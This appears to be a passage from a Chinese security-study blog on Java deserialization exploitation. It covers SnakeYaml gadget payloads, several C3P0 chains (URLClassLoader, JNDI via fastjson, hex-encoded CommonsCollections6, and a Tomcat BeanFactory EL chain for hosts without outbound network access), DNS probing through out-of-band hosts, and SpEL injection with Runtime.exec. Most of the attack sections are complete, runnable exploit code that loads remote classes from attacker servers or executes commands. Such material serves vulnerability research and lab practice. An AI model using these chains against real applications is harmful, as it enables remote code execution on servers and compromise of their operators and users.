public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

恰巧他的父类BindingtoString方法中,调用了本类的getObject方法,即可触发

1
2
3
4
5
public static final class ReadOnlyBinding extends Binding

public String toString() {
return super.toString() + ":" + getObject();
}

最终EXP如下

1
String payload = "!!javax.management.BadAttributeValueExpException [!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\"Sean\",!!javax.naming.Reference [\"Sean\",\"WRTOPmjx\",\"http://127.0.0.1:8085/\"],!!org.apache.xbean.naming.context.WritableContext {}]]";

C3P0 JndiRefForwardingDataSource

C3P0这条链子之前已经有了较为详细的分析,这里就不再过多赘述

EXP如下

1
2
3
4
5
6
7
8
9
public class C3P0JndiRefForwardingDataSourceEXP {  
public static void main(String[] args) {
String payload = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
" jndiName: \"rmi://localhost/Exploit\"\n" +
" loginTimeout: 0";
Yaml yaml = new Yaml();
yaml.load(payload);
}
}

C3P0 WrapperConnectionPoolDataSource

同样也是一条C3P0的链子,EXP如下(二次反序列化的 payload
1
2
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +  
" userOverridesAsString: \"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f6c6f63616c686f73743a383030302f740003466f6f;\"";

Apache Commons Configuration

依赖如下
1
2
3
4
5
<dependency>  
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>

感觉这条链子逆向分析较难,我先把EXP放出来(太难了TvT)

1
poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], \"rmi://127.0.0.1:1099/Exploit\"]]: 1";

这里是利用Map调用key的hashCode时所造成的利用链

从EXP来看,会调用JNDIConfiguration#hashCode方法,但是该类没有hashCode方法,就会向上调用,实际执行了AbstractMap#hashCode

1
2
3
4
5
6
7
public int hashCode() {  
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}

在上面调用entrySet().iterator()即调用ConfigurationMap.ConfigurationSet#iterator,然后回调用JNDIConfigurationgetKeys方法

1
2
3
4
5
6
7
public Iterator<Map.Entry<Object, Object>> iterator() {
return new ConfigurationSetIterator();
}

private ConfigurationSetIterator() {
this.keys = ConfigurationSet.this.configuration.getKeys();
}

getKeys方法会调用到getBaseContext方法内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public Iterator<String> getKeys() {
return this.getKeys("");
}

public Iterator<String> getKeys(String prefix) {
String[] splitPath = StringUtils.split(prefix, ".");
List<String> path = Arrays.asList(splitPath);

try {
Context context = this.getContext(path, this.getBaseContext());
Set<String> keys = new HashSet();
if (context != null) {
this.recursiveGetKeys(keys, context, prefix, new HashSet());
} else if (this.containsKey(prefix)) {
keys.add(prefix);
}

return keys.iterator();
} catch (NameNotFoundException var6) {
return (new ArrayList()).iterator();
} catch (NamingException var7) {
NamingException e = var7;
this.fireError(5, (String)null, (Object)null, e);
return (new ArrayList()).iterator();
}
}

在这里的lookup方法就会造成JNDI注入

1
2
3
4
5
6
7
public Context getBaseContext() throws NamingException {
if (this.baseContext == null) {
this.baseContext = (Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix);
}

return this.baseContext;
}

SnakeYaml探测

使用SPI的链子就可以完成探测工作,但是如果SPI机制被ban情况下,我们可以使用如下方法绕过

使用 Key 调用 hashCode 方法探测:

POC如下
1
String payload = "{!!java.net.URL [\"http://ra5zf8uv32z5jnfyy18c1yiwfnle93.oastify.com/\"]: 1}";

我们根据urldns链可以知道key会进行hashCode方法的调用,之后进行urldns的解析

SnakeYaml在进行map的处理的时候将会对key进行hashCode处理,所以我们尝试map的格式

1
2
3
4
5
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}

所以我们就可以按照这种使用{ }包裹的形式构造map,然后将指定的URL置于key位置

探测内部类

1
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";

在前面加上需要探测的类,在反序列化的过程中如果没有报错,就说明反序列化成功了的,进而存在该类

这里创建对象的时候使用的是{}这种代表的是无参构造,所以需要存在有无参构造函数,不然需要使用[]进行赋值构造

漏洞修复

SnakeYaml 官方并没有把这一种现象作为漏洞看待

修复方法就是通过添加new SafeConstructor()进行过滤,如下

1
Yaml yaml = new Yaml(new SafeConstructor());

C3P0 链

C3P0 组件介绍

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。

使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

环境配置

  • JDK 8u65
  • C3P0 0.9.5.2
1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

Gadget

URLClassLoader攻击链

分析

链子尾部利用点
我们找到的类是`ReferenceableUtils`,它的`referenceToObject`方法,该方法中调用了`URLClassLoader`加载类的方法,后面也执行了`newInstance`进行的类的实例化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
throws NamingException
{
try
{
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();

ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();

ClassLoader cl;
if ( fClassLocation == null )
cl = defaultClassLoader;
else
{
URL u = new URL( fClassLocation );
cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
}

Class fClass = Class.forName( fClassName, true, cl );
ObjectFactory of = (ObjectFactory) fClass.newInstance();
return of.getObjectInstance( ref, name, nameCtx, env );
}......
}
调用referenceToObject

接下来我们要去看,在哪里调用了ReferenceableUtils#referenceToObject

ReferenceIndirectorgetObject方法调用了前者

调用getObject

继续向上找,在PoolBackedDataSourceBasereadObject方法中,调用了这里

且这个方法是一个类的readObject方法,是一个入口

小结
其实这条链子非常短,也就简单的两次调用;难的是理解和调整

流程如下:

实现

根据上述分析的流程,其实逻辑走下来就下面的一句话

但是想要达到我们的目的,还是差一点距离

1
2
3
4
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);

}
后续调整

我们来看入口类的readObject方法

我们可以看到,如果想走到getObject处,需要我们反序列化后的类,是一个IndirectlySerialized类或者继承于这个类

且在执行完这行代码后,执行了this.connectionPoolDataSource = (ConnectionPoolDataSource) o;,这里将我们传入的类,强转成了ConnectionPoolDataSource,并赋值给connectionPoolDataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
{
short version = ois.readShort();
switch (version)
{
case VERSION:
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
}
this.dataSourceName = (String) ois.readObject();
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
{
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) o = ((IndirectlySerialized) o).getObject();
this.extensions = (Map) o;
}
this.factoryClassLocation = (String) ois.readObject();
this.identityToken = (String) ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport( this );
this.vcs = new VetoableChangeSupport( this );
break;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}

是不是感觉这里要求我们反序列化后的类为IndirectlySerialized是不可能的,我们看一下PoolBackedDataSourceBasewriteObject方法,三步之内必有解药

该方法内,有着一处indirector.indirectForm( connectionPoolDataSource ),而从上述代码中可以看到,indirector是一个ReferenceIndirector类,等价于ReferenceIndirector.indirectForm(connectionPoolDataSource)

且我们的connectionPoolDataSource不应继承序列化接口,在尝试序列化接口时失败,才能走入catch中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void writeObject( ObjectOutputStream oos ) throws IOException
{
oos.writeShort( VERSION );
try
{
//test serialize
SerializableUtils.toByteArray(connectionPoolDataSource);
oos.writeObject( connectionPoolDataSource );
}
catch (NotSerializableException nse)
{
com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse);
try
{
Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector();
oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) );
}
catch (IOException indirectionIOException)
{ throw indirectionIOException; }
catch (Exception indirectionOtherException)
{ throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); }
}
oos.writeObject( dataSourceName );
......
}

这里indirectForm,从传入对象中获取一个Reference对象,封装到一个ReferenceSerialized类中,而我们可以看到,ReferenceSerialized是继承了IndirectlySerialized接口的,就能成功走到if (o instanceof IndirectlySerialized)之中了

看一下IndirectlySerialized,是一个内部类,发现他是继承了serialize接口的

1
2
3
4
5
6
7
8
9
10
11
12
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}

private static class ReferenceSerialized implements IndirectlySerialized

public interface IndirectlySerialized extends Serializable
{
public Object getObject() throws ClassNotFoundException, IOException;
}

在我们拿到的 “ConnectionPoolDataSource” 外表上还是 “ConnectionPoolDataSource”,但是实际上已经变成了 “ReferenceSerialized” 这个类

PoolBackedDataSourceBase中被封装的connectionPoolDataSource是一个ConnectionPoolDataSource

且在indirectForm封装过程中,调用origgetReference方法,要继承Referenceable接口

1
2
3
4
5
6
7
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}


因此我们要构造一个类,继承getReferenceConnectionPoolDataSource接口,并在重写的getReference方法中构造恶意Reference

构造好后,需要重写接口类内的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable {

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:9999/Calc");
}
}
最终EXP

new一个PoolBackedDataSourceBase,通过反射将connectionPoolDataSource修改为我们的EXP_Loader,然后在序列化的过程中对connectionPoolDataSource进行封装,最后可以走到if (o instanceof IndirectlySerialized)中,触发恶意代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
public class C3P0 {

public static class EXP_Loader implements ConnectionPoolDataSource, Referenceable {

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","Calc","http://127.0.0.1:9999/Calc");
}
}
public static void main(String[] args) throws Exception {

PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);

Class sourceBaseClass = poolBackedDataSourceBase.getClass();
Field connectionPoolDataSource = sourceBaseClass.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase, new EXP_Loader());


serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

JNDI注入

环境配置

C3P0的JNDI攻击链,是基于Fastjson依赖的,因此我们需要导入相关依赖

我们需要导入1.2.24版本的,因为在1.2.25中将com.mchange包加入了黑名单

1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

JNDI注入流程

JNDI触发点

JndiRefForwardingDataSourcedereference方法中,存在lookup方法

ctx.lookup( (String) jndiName )

这里的jndiName是通过getJndiName方法获取的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private DataSource dereference() throws SQLException
{
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();
try
{
InitialContext ctx;
if (jndiEnv != null)
ctx = new InitialContext( jndiEnv );
else
ctx = new InitialContext();
if (jndiName instanceof String)
return (DataSource) ctx.lookup( (String) jndiName );
else if (jndiName instanceof Name)
return (DataSource) ctx.lookup( (Name) jndiName );
else
throw new SQLException("Could not find ConnectionPoolDataSource with " +
"JNDI name: " + jndiName);
}
......
}

进入getJndiName方法,我们可以看到一些判断,如果jndiName是Name类型,则返回(Name) jndiName).clone(),反之则返回String类型的jndiName

1
2
public Object getJndiName()
{ return (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */); }
调用dereference

查找该方法的调用处,只有JndiRefForwardingDataSource中的inner方法内调用了

1
2
3
4
5
6
7
8
9
10
11
12
private synchronized DataSource inner() throws SQLException
{
if (cachedInner != null)
return cachedInner;
else
{
DataSource out = dereference();
if (this.isCaching())
cachedInner = out;
return out;
}
}
调用inner
继续向上找,我们可以看到一堆的setter与getter方法

看到这里就可以想到fastjson的调用链,满足了fastjson链的调用,我们这里选择setLoginTimeout方法,它只需要我们传入一个整数即可

JNDIEXP构造

该EXP构造十分简单,和之前说的fastjson利用链的构造方法一样
1
2
3
4
5
6
7
8
9
10
11
package C3P0;
import com.alibaba.fastjson.JSON;

public class C3P0JNDI {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:8085/UpQiYDGn\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}

这里反连地址我没有自己开,可以直接使用yakit工具生成jndi反连地址,最后成功执行

hexbase攻击链

分析

hexBase攻击链能成立的原因是,存在一个WrapperConnectionPoolDataSource类,能它反序列化一串十六进制字符串,首部位于WrapperConnectionPoolDataSource类的构造函数中

这里使用C3P0ImplUtils.parseUserOverridesAsString方法,对userOverridesAsString进行了操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public WrapperConnectionPoolDataSource(boolean autoregister)
{
super( autoregister );

setUpPropertyListeners();

//set up initial value of userOverrides
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
}
//WrapperConnectionPoolDataSource#getUserOverridesAsString
public synchronized String getUserOverridesAsString()
{
return userOverridesAsString;
}

进入到parseUserOverridesAsString方法中,首先对该字符串进行了截取,然后将截取出来的部分转码后存入了serBytes字节数组中

执行fromByteArray方法时,会调用deserializeFromByteArray方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private final static String HASM_HEADER = "HexAsciiSerializedMap";

public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

进入SerializableUtils.fromByteArray方法看,里面有一个derserializeFromByteArray方法,继续看它干了什么

1
2
3
4
5
6
7
8
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}

这里我们可以看出来,他将我们的字节组,都写入了一个输入流,然后对其调用了readObject方法,执行了反序列化的操作

1
2
3
4
5
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

EXP实现

这里的代码直接抄的 师傅的EXP(我太菜了,对于字节数组、流之间的转化,后面会补的>_<)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package hexBase;  

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class HexBaseFastjsonEXP {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return expMap;
}


static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}

private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);

}
}

在低版本 FastJson 下, 也可以使用以下的的payload

1
2
3
4
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";

不出网情况下

URLClassLoader加载远程类,和JNDI注入,都需要目标机器能够出网

加载HexBase字符串,可以作为一种攻击方式,但是缺又需要Fastjson等相关依赖,当目标机器不能出网,而且也没有Fastjson依赖时,C3P0该如何利用

在高版本JDNI利用中,我们可以通过加载本地Factory类进行攻击,利用的条件之一为该工厂类至少存在一个getObjectInstance方法,例如通过Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入

环境配置

  • JDK8u65
  • 导入tomcat依赖
1
2
3
4
5
6
7
8
9
10
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>

EXP实现

其他的链子有的限制太多,有的不出网,有的需要相关依赖

我们这里使用URLClass的链子,EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
package NoNetUsing;  

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class NoAccessEXP {

public static class Loader_Ref implements ConnectionPoolDataSource, Referenceable {

@Override
public Reference getReference() throws NamingException {
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
return resourceRef;
}

@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}

@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}

@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}

@Override
public void setLogWriter(PrintWriter out) throws SQLException {

}

@Override
public void setLoginTimeout(int seconds) throws SQLException {

}

@Override
public int getLoginTimeout() throws SQLException {
return 0;
}

@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

//序列化
public static void serialize(ConnectionPoolDataSource c) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改connectionPoolDataSource属性值
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);

//序列化流写入文件
FileOutputStream fos = new FileOutputStream(new File("ser.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);

}

//反序列化
public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(new File("ser.bin"));
ObjectInputStream objectInputStream = new ObjectInputStream(fis);
objectInputStream.readObject();
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Loader_Ref loader_ref = new Loader_Ref();
serialize(loader_ref);
unserialize();
}
}

这样就成功弹出了计算器

SPEL表达式注入

前置基础

SPEL简介

在 Spring3 中引入了 Spring 表达式语言(Spring Expression Language,简称 SPEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于 XML 和基于注解的 Spring 配置还有 bean 定义一起使用。

在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。

SPEL特性

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SPEL类类型表达式T(Type)

SPEL其他简单的用法我们在这里不进行讨论,只研究一下存在攻击面的地方

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法,即可以通过类类型表达式来操作类

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,java.lang包下的类除外,因为SpEL已经内置了该包,因此该包下的类可以不指定包名。类类型表达式还可以访问类的静态方法与类静态字段

这里就已经存在潜在攻击面

Rumtime类也是包含在java.lang包中的,因此如果我们能调用Runtime.getRuntime.exec(payload),即可进行命令执行

光说很难理解,我们来写点代码来实操一下

1
2
3
4
5
6
7
8
public class Spel {
public static void main(String[] args) {
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
ExpressionParser parser = new SpelExpressionParser();;
Expression result2 = parser.parseExpression(expression2);
System.out.println(result2.getValue(Class.class));
}
}

用我的话来说就是,T(Type)中的东西,会被解析成一个完完整整的类,因此我们就可以通过Runtime类来执行命令

SPEL表达式用法

SpEL的用法有三种形式,一种是在注解当中@Value;一种是XML配置中;最后一种是在代码块中使用Expression

xml配置用法

**demo.xml **文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">

<bean id="helloWorld" class="com.pojo.HelloWorld">
<property name="message" value="#{'sean'} is #{T(java.lang.Math).random()}" />
</bean>

</beans>

MainTestDemo.java 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.spel.xml;

import com.pojo.HelloWorld;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class MainTestDemo {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("demo.xml");
HelloWorld helloWorld = (HelloWorld) context.getBean("helloWorld");
helloWorld.getMessage();
}
}

HelloWorld 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.pojo;

public class HelloWorld {
private String message;

public void setMessage(String message){
this.message = message;
}

public void getMessage(){
System.out.println("Your Message : " + message);
}
}

运行MainTestDemo.java文件后,首先会去demo.xml文件中加载xml中的配置。实际上,经过调试发现,在加载配置时,就会进行SpEL表达式的解析,从而触发我们的payload

注解@Value用法

示例用法如下
1
2
3
4
5
6
7
public class EmailSender {
@Value("${spring.mail.username}")
private String mailUsername;
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
//...
}

